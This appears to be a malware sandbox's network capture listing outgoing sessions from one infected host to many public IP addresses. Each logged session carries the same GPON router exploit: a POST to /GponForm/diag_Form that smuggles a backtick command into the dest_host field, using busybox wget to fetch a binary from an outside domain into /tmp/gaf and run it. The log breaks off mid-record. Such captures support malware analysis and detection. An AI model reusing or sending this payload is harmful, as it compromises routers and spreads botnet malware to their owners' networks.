Session ID	Source IP	Source Port	Destination IP	Destination Port
1715	192.168.2.13	49420	117.138.130.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134392977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1716	192.168.2.13	55766	212.175.126.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134412050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1717	192.168.2.13	37520	118.74.117.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134460926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1718	192.168.2.13	58064	148.25.97.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134475946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1719	192.168.2.13	59606	148.126.82.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134496927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1720	192.168.2.13	55114	178.1.254.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134519100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1721	192.168.2.13	33862	210.106.233.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134526014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1722	192.168.2.13	35812	210.18.81.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134537935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1723	192.168.2.13	38132	123.229.165.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134555101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1724	192.168.2.13	53936	202.149.226.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134572029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1725	192.168.2.13	36254	5.109.230.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134578943 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1726	192.168.2.13	40210	212.53.92.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134614944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1727	192.168.2.13	60520	5.5.4.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134649992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1728	192.168.2.13	60520	202.50.66.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134651899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1729	192.168.2.13	58802	118.57.117.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134685040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1730	192.168.2.13	57056	42.165.56.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134701967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1731	192.168.2.13	45152	202.45.20.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134716034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1732	192.168.2.13	60198	37.190.194.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134737968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1733	192.168.2.13	36838	212.121.204.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134757042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1734	192.168.2.13	52578	94.81.93.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134783030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1735	192.168.2.13	50764	148.43.155.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134809017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1736	192.168.2.13	57814	123.104.154.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134830952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1737	192.168.2.13	45688	117.31.82.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134841919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1738	192.168.2.13	46894	79.252.95.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134864092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1739	192.168.2.13	33106	37.153.55.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134910107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1740	192.168.2.13	41874	5.231.90.44	443

Timestamp	Bytes transferred	Direction	Data
